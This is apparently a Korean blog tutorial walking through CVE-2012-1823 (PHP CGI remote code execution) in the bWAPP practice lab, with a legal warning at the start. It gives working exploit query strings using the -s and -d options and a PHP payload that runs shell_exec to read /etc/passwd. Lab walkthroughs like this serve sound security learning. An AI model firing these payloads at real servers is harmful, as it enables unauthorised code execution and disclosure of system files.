이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A9 - PHP CGI Remote Code Execution
공용 게이트웨이 인터페이스(Common Gateway Interface; CGI)는 웹 서버 상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있다.
php_cgi.php 페이지를 살펴 보면 PHP 원격명령 실행 취약점이라는 것을 알 수 있습니다. HINT 부분에 exploit를 눌러 확인해 보도록 하겠습니다.
CVE-2012-1823 취약점은 2012년 1월에 발견된 취약점으로 PHP의 특정 버전의 sapi/cgi/cgi_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생하는 취약점으로, 명령어 라인 옵션을 질의 문자열에 포함하여 원격 명령을 실행할 수 있는 취약점입니다.
설명
PHP 5.3.12 이전 및 5.4.x 이전 5.4.2에서 sapi/cgi/cgi_main.c는 CGI 스크립트(php-cgi라고도 함)로 구성된 경우 =(equals sign) 문자가 없는 쿼리 문자열을 제대로 처리하지 않습니다. 이는 원격 공격자가 쿼리 문자열에 명령줄 옵션을 배치하여 임의의 코드를 실행할 수 있도록 하며, 이는 'd' 경우에 특정 php_getopt를 건너뛰지 않는 것과 관련이 있습니다.
php-cgi -v 를 통해서도 확인이 가능 합니다.
해당 취약점은 특정 버전에서 발생하는 취약점으로 php_cgi.php 페이지에서 admin을 누른후 phpinfo.php 페이지에서 자신의 php 버전을 확인하시기 바랍니다. 저는 현재 5.6.0 버전으로 여기서는 취약점 확인 방법을 알아보고 추후에 버전을 낮춰서 다시 한번 확인해 보도록 하겠습니다.
PHP CGI 취약점을 이용한 원격코드는 주로 3개의 옵션을 사용합니다. 나머지 옵션들에 대해서는 참고에 features.commandline.options.php 페이지를 참고하여 확인하시기 바랍니다.
-n php.ini 파일을 사용하지 않음
-s 소스 코드에 색을 입혀 보여줌
-d php.ini에 정의도니 설정 내용을 임의로 설정
http://localhost/bWAPP/admin/?-s 취약점 존재 시 소스코드가 노출
-d 옵션을 이용하여 설정 파일을 직접 변경하고 php 코드 실행이 가능, 현재 설정된 내용은 php.ini 파일에서 확인이 가능합니다. 다른 자세한 옵션은 참고를 확인해 주시기 바랍니다.
allow_url_fopen=1 : 외부의 URL로부터 파일을 호출
allow_url_include=1 : 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용
auto_prepend_file=php://input : HTTP Request Body로 데이터를 가져와 실행
파일 내용 확인
http://localhost/bWAPP/admin/?-d+auto_prepend_file%3d[파일명]+-n
버프 스위트 사용
http://localhost/bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
<?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die; #output은 cat /etc/passwd 파일을 가져오겠다는 뜻입니다.
참고
https://www.php.net/manual/en/features.commandline.options.php
https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) A9 Shellshock Vulnerability (CGI) (0) | 2022.11.11 |
---|---|
비박스(bWAPP) A9 phpMyAdmin BBCode Tag XSS (0) | 2022.11.11 |
비박스(bWAPP) A9 Heartbleed Vulnerability (0) | 2022.10.24 |
비박스(bWAPP) A9 Drupal SQL Injection (Drupageddon) (0) | 2022.10.24 |
비박스(bWAPP) A9 Buffer Overflow (Local) (0) | 2022.10.21 |